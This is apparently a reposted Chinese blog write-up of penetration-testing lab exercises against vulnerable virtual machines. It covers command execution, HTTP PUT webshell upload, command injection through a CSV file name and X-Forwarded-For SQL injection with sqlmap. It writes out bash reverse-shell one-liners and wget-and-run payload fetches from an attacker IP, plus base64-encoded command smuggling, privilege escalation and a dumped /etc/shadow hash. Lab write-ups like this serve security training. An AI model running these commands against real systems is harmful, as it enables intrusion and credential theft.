• 14
  • 14
分享

命令执行漏洞

一般查看home目录,挖掘用户信息:ls -alh /home

查看具体用户的目录:ls -alh /home/用户名/

查看系统信息:uname -a

1.jpg

利用ssh命令执行root权限命令

使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;

比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -l

ubuntu自带防火墙,所以关闭防火墙方便后面的操作。

ssh bill@localhost sudo ufw disable

反弹shell

攻击机启动监听netcat

nc -nlvp 4444

查看是否nc正在监听

netstat -pantu

2.jpg

靶场机器反弹shell

ssh bill@locahost sudo bash -i >& /dev/tcp/ip/4444 0>&1

然后监听端

3.jpg

渗透测试技巧

开启python简易http服务器

python -m SimpleHTTPServer

利用命令执行下载木马文件

ssh bill@localhost sudo wget "http://[ip]:[port]/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp

不过没有成功

4.jpg

暴力破解

使用wpscan对用户名进行提取

wpscan --url www.vtcsec.com/secret/ --enumerate u

探测到一个用户名为admin

5.jpg

使用metasploit进行暴力破解

6.jpg

破解完成,密码admin

7.jpg

登录成功

8.jpg

制作webshell进行上传。

访问404界面

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

这里再提一下之前的提权,这次这个可以查看shadow文件

cat /etc/shadow
root:!:17484:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::

所以可以进行尝试之前提到的一种提权方式

先将两个文件下载下来

meterpreter > download /etc/shadow
[*] Downloading: /etc/shadow -> shadow
[*] Downloaded 1.27 KiB of 1.27 KiB (100.0%): /etc/shadow -> shadow
[*] download   : /etc/shadow -> shadow
meterpreter > download /etc/passwd
[*] Downloading: /etc/passwd -> passwd
[*] Downloaded 2.31 KiB of 2.31 KiB (100.0%): /etc/passwd -> passwd
[*] download   : /etc/passwd -> passwd

然后逆向一下这两个文件

unshadow passwd shadow > cracked

然后会发现有了cracked这个文件,在用John进行破解一下,就得到了一个用户名和密码marlinspike

9.jpg

然后登录到一个相对较高的用户,得到一个较高的权限,这个时候,可以使用sudo -l

查看可以使用的sudo命令。

然后发现可以使用sudo bash

最后得到root权限

10.jpg

命令执行(使用集成工具测试)

一个工具,是个坑,不知道什么时候改名字了,原本叫sparta,我找半天没找到,就自己安装,总是定位不到依赖包,尝试了各种方法也没有安装成功。就是因为它改名字了,现在叫legion

11.jpg

感谢那个发现改名的大师傅。

其他没什么了。

中间件PUT漏洞

中间件介绍

中间件包括apache、tomcat、IIS、weblogic等,这些中间件可以设置支持的http方法。(HTTP方法包括GET、POST、HEAD、DELETE、PUT、OPTIONS等)

每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。

直接上传shell,也可以从侧面反映PUT漏洞的眼中危害性。

测试靶场

使用nikto和dirb等工具扫描,除了扫描出来一个test目录,什么也没有;Owasp zap这个漏洞扫描器也没有结果;所以学习一个新工具curl

curl -v -X OPTIONS http://10.0.2.8/test

12.jpg

利用PUT漏洞获取shell思路:

上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;

上传webshell;在test目录下直接使用浏览器插件poster,上传webshell

使用/usr/share/webshells/php/下的webshell

使用火狐工具插件RESTClient上传,内容粘贴shell的代码。然后nc监听相应端口;

13.jpg

然后发送,再去浏览器访问这个URL就可以执行shell了;

查看nc监听情况。

得到shell

14.jpg

命令注入

找到一个上传页面,而且经过测试只能上传后缀为csv的文件,所以在桌面新建一个1.csv然后使用burpsuite进行抓包修改参数,写入可执行的命令在名称里面。

启动监听,使用msfconsole

msfconsole
use exploit/multi/handler 
set payload linux/x86/meterpreter_reverse_tcp
set lhost 10.0.2.4
exploit#开启监听

然后制作shell;

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=10.0.2.4 lport=4444 -f elf > /var/www/html/shell

然后就是绕过防火墙 上传shell

利用base64绕过防火墙检测

service apache2 start#开启apache服务
echo 'wget http://10.0.2.4/shell -O /tmp/shell' | base64
echo 'chmod +x /tmp/shell' | base64
echo '/tmp/shell' | base64

使用burpsuite抓包修改参数

"<?php shell system(base64_decode('base64encodestrings'));die();?>.php"

一步一步的将参数修改上传,最后得到反弹的shell,

提升权限;

登录服务器后,反弹的shell是www-data用户,并不具备root权限,

使用sudo -l 查看www-data用户的sudo权限;

根据提示执行以下命令(为了方便,程序员便设置了不需要密码就可以执行的web操作)

sudo perl -e "exec '/bin/bash' "
bash -i

就得到了服务器的root用户权限。

SQL注入-X-Forwarded-For报头注入

靶场是linux 2.6x的系统,安装虚拟机时注意。

然后对靶机进行信息收集,发现了敏感目录,访问是一个登录页面

尝试弱口令登录,但是失败了。

15.jpg

放弃使用弱口令,开始进行漏洞扫描,使用AVWS进行漏洞扫描。

16.jpg

配置好,然后开始scan

等待结果就可以了

17.jpg

最后这个有个高危漏洞,是个盲注。详细信息继续查看。

看出是关于X-Forwarded-For报头注入的一个SQL盲注漏洞。

18.jpg

使用sqlmap进行探测,就可以得到数据库中的数据了。

sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" --dbs --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

按照套路来就行,最后测出数据

19.jpg

账号密码进行登录

然后就是老套路,上传webshell,连接,提权等操作。


作者:m0re

原文链接:https://blog.csdn.net/qq_45836474/article/details/108015896#comments_14984090


  • 【留下美好印记】
    赞赏支持
登录 后发表评论
+ 关注

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          • 一、测试需求:测试20个用户访问网站在负载达到30QPS时的平均响应时间二、QPS:Query Per Second 每秒查询率。(一台查询服务器每秒能够处理的查询次数,作为域名服务器的性能经常用每秒查询率来衡量)三、测试步骤1、添加线程组(线程数+准备时长+循环次数)1)线程数:虚拟用户数,一个虚拟用户占用一个进程或线程(设置多少个虚拟用户=设置多少个线程)2)准备时长(s):设置的虚拟用户数需要多长时间全部启动。eg:线程数为20,准备时长为10,则说明需要10秒钟启动20个进程。3)循环次数:每个线程发送请求的次数。eg:线程数为20,循环次数为5,那么每个线程发送5次请求,总...
            10 9 3192
            分享
          •   性能压测是一种评估系统运行效率和稳定性的方法,通过模拟真实的使用场景和负载条件,对系统进行压力测试和负载测试,并对测试结果进行分析,以评估系统的性能,其中性能压测结果分析是性能压测的重要环节。以往的性能压测,测试执行和分析是分开的,分析的结果具有滞后性,且依赖于测试人员经验,存在分析标准不统一的问题。为解决上述问题,笔者探索了一个基于指标趋势和阈值规则的自动化异常分析方法,并将方法嵌入性能压测执行过程,实现实时、自动的捕获测试异常,帮助测试人员分析和评估系统在特定条件下的表现。  一、优化压测执行过程  性能压测执行过程一般由系统自动完成,无需人工参与,主要包含发压、数据聚合、结果汇总三个...
            0 0 497
            分享
          •   前言  在做web自动化的过程中,相信用到最多的浏览器就是chrome浏览器,那么在chrome中有许多关于selenium的配置内容,这个你知道吗?  单个浏览器调试  在编写自动化用例的过程中,经常会进行调式代码,正常情况下,当我们在写完用例,执行代码就会给我们重新打开一个浏览器,然后在进行一系列的操作。如果我们的需要调式的地方比较容易做到,这个方法就很容易,那如果我们需要调试的位置需要做很多前置操作,那么就浪费我们的时间。这个时候我们就可以通过打开浏览器调试功能,然后让浏览器直接在当前的页面进行debug。  打开浏览器调试需要进行以下操作:  1.将chrome浏览器安装地址配置到...
            14 14 2337
            分享
          • 首先要理解为什么要进行批量测试,当我们在工作中进行接口测试时,项目的接口肯定不止一个,而是很多很多,而且每个接口都需要进行正确参数,错误参数,参数为空,特殊字符等方式来测试接口是否能够正确返回所需的响应值。在编写脚本之前可以先汉化JMeter,找到JMeter解压/安装路径下的JMeter.properties,用编辑器打开(右键用记事本打开也可以):找到  #language=en  ,在下面添加:language=zh_CN 并重启JMeter那么我们该如何通过JMeter来完成批量测试呢? 我们先建立一个较为简单的方式进行测试脚本观察一下。以去获取创建订单时的【省/市...
            14 14 4117
            分享
          • IT之家 9 月 14 日消息,随着美国年底购物旺季的到来,各家科技公司也在广告业务上更加上心,苹果也准备在 App Store 内增加新的广告位以让开发者购买,也就是说年底前大家可能就会在应用商店中看到更多的广告。当地时间周二,苹果向开发者发送消息,邀请他们参加线上会议,鼓励他们购买广告。邀请函显示,iOS App Store 中的新“广告位置”将在“这个假日季”及时出现。此外,Mobile Dev Memo 的开发者和创始人 Eric Seufert 在他的 Twitter 上向大家展示了这份邀请函。IT之家也因此得以知悉,苹果的网络研讨会定于 9 月 21 日星期三举行,关于结果如何,届...
            0 0 965
            分享
      • 51testing软件测试圈微信